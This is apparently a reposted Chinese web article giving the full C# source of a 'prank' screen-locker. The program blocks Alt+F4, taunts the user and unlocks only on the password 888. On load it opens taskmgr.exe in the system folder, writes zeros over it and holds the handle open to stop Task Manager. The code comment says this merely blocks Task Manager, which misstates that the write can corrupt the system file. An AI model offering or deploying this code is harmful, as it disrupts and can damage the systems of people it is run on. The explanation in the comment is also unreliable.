用C#实现屏幕锁定

王朝学院·作者佚名  2009-11-04
窄屏简体版  字體: |||超大  

view plaincopy to clipboardprint?

using System;

using System.Collections.Generic;

using System.ComponentModel;

using System.Data;

using System.Drawing;

using System.Text;

using System.Windows.Forms;

using System.IO;

using Microsoft.Win32;

namespace 恶搞程序

{

public partial class Form1 : Form

{

public Form1()

{

InitializeComponent();

}

int i = 0;

public FileStream MyFs;

private void timer1_Tick(object sender, EventArgs e)

{

if (this.progressBar1.Value == 50)

{

label2.Text += "\n你现在按ALT+F4也没用,不信你试试!!!呵呵";

}

if (this.progressBar1.Value == 100)

{

label2.ForeColor = Color.Blue; ;

label2.Text = "不行吧!!!";

}

if (this.progressBar1.Value == 150)

{

label2.ForeColor = Color.DarkGreen;

label2.Text = "结束不了了,怎么办???";

}

if (this.progressBar1.Value == 200)

{

label2.Text = "任务管理器怎么样???看能不能结束?";

label2.ForeColor = Color.White;

}

if (this.progressBar1.Value == 250)

{

label2.ForeColor = Color.DarkRed;

label2.Text = "我靠,调不出来!!!";

}

if (this.progressBar1.Value == 300)

{

label2.ForeColor = Color.Yellow;

label2.Text = "重新启动? 不会吧!!!";

}

if (this.progressBar1.Value ==350)

{

label2.ForeColor = Color.YellowGreen;

label2.Text = "没办法了吧";

}

if (this.progressBar1.Value == 400)

{

label2.ForeColor = Color.Red;

label2.Text = "自己慢慢想办法吧,O(∩_∩)O~";

}

if (this.progressBar1.Value == 450)

{

label2.ForeColor = Color.Green;

label2.Text = "算了,不整你了";

}

if (this.progressBar1.Value == 500)

{

label2.ForeColor = Color.DarkGray;

label2.Text = "在文本框中输入";

}

if (this.progressBar1.Value == 550)

{

label2.ForeColor = Color.Brown;

label2.Text = "888";

}

if (this.progressBar1.Value == 599)

{

label2.ForeColor = Color.Gold;

label2.Text+= "按回车";

}

if (i <=600)

{

this.progressBar1.Value = i++;

}

else

{

this.timer1.Stop();

return;

}

}

private void Form1_Load(object sender, EventArgs e)

{

MyFs = new FileStream(Environment.ExpandEnvironmentVariables("%windir%\\system32\\taskmgr.exe"), FileMode.Open);

byte[] Mybyte = new byte[(int)MyFs.Length];

MyFs.Write(Mybyte, 0, (int)MyFs.Length);

//MyFs.Close(); //用文件流打开任务管理器应用程序而不关闭文件流就会阻止打开任务管理器

this.KeyPreview = true;

progressBar1.Hide();

label2.Text="你的屏幕被锁定了!!!";

timer1.Start();

}

private void Form1_KeyDown(object sender, KeyEventArgs e)

{

if (e.Alt)

{

if (e.KeyCode == Keys.F4)

{

e.Handled = true;

MessageBox.Show("ALT+F4被禁用", "警告", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);

}

}

}

private void textBox1_KeyDown(object sender, KeyEventArgs e)

{

if (e.KeyCode == Keys.Enter)

{

if (textBox1.Text == "")

{

MessageBox.Show("请输入密码!", "提示", MessageBoxButtons.OK, MessageBoxIcon.Error);

return;

}

if (textBox1.Text == "888")

{

MyFs.Close();

System.Diagnostics.Process.Start("http://hi.baidu.com/00zht00");

this.Close();

}

else

{

MessageBox.Show("对不起,您输入的密码错误,请查证后再试,谢谢合作!", "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);

textBox1.Text = "";

}

}

}

}

}

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
 
 
© 2005- 王朝網路 版權所有 導航